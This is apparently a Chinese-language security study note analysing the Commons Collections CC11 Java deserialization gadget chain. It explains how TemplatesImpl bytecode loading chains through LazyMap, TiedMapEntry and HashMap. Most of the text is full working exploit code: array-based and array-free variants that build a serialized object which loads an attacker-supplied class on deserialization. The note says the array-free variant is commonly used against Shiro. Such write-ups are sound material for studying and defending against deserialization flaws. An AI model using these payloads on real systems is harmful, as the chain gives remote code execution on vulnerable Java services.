CC11
分析完CC1-7,继续分析一下CC11,CC11使用字节码加载,它其实是CC2+CC6的组合变形
这里我把CC链子的流程图放上来,实际根据CC1-7,可以衍生出来很多CCN
CC11攻击链分析
有数组攻击链
恶意类加载
CC2链流程
CC11的前半段和CC2的前半段是一样的
只需要调用templates的newTransformer
方法的话,就可以实现恶意类的加载(这里的流程我们就不分析了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); templates.newTransformer();
后半部分
调用newTransformer
CC6链流程
这里就使用CC6的后半段代码,利用TiedMapEntry
的hashCode
方法,一步一步调用到InvokerTransformer
,利用它来执行newTransformer
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer[] transformers = { new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazymap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap,null ); lazymap.put(tiedMapEntry,null ); lazymap.remove(null );
感觉CC6这里没有很熟练,将流程再分析一下
调用chainedTransformer.transformer
调用transformer方法,这里用LazyMap.get
去触发
从get
方法中可以发现factory.transform
的factory是可以在构造函数中赋值的,因此对于我们是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
调用get方法
这里使用TiedMapEntry
的getValue
方法,我们可以从构造方法中看到map和key都是可控的
1 2 3 4 5 6 7 8 9 public Object getValue () { return map.get(key); } public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
调用getValue
getValue
方法,我们可以从本类的hashCode
方法中找到调用
且该方法我们想到可以使用HashMap
作为入口,这里HashMap
入口调用hashCode
不在赘述
1 2 3 4 5 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
EXP编写
这里我们的EXP就已经写完了,但是我们发现在put
时,就已经触发了计算器,是因为在put时也会触发其hashCode
方法我们也和CC6一样,先改为无用的东西,后面通过反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"a" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = { new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "xxx" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry,"xxx" ); lazyMap.remove("xxx" ); unserialize("ser.bin" );
通过修改以后,我们的代码就可以成功序列化,并在反序列化执行恶意类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"a" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = { new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "xxx" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry,"xxx" ); lazyMap.remove("xxx" ); Class<? extends Map > lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); unserialize("ser.bin" ); }
无数组攻击链
无数组的CC11攻击链常用于攻击shiro时使用
无数组相比于有数组的差异,只在调用InvokerTransformer.transform(templates)
时,传入templates参数的地方有一些差异
有数组攻击链,利用ChainedTransformer
的递归调用,和ConstantTransformer
的指定返回类来传参
而无数组的攻击链,参数是从getValue
调用LazyMap
的get
方法时传入的
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object getValue () { return map.get(key); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
因此我们只需要做一些简单的替换即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"a" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] eval = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , null , null ); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry,"xxx" ); lazyMap.remove(templates); Class<? extends Map > lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,invokerTransformer); unserialize("ser.bin" ); }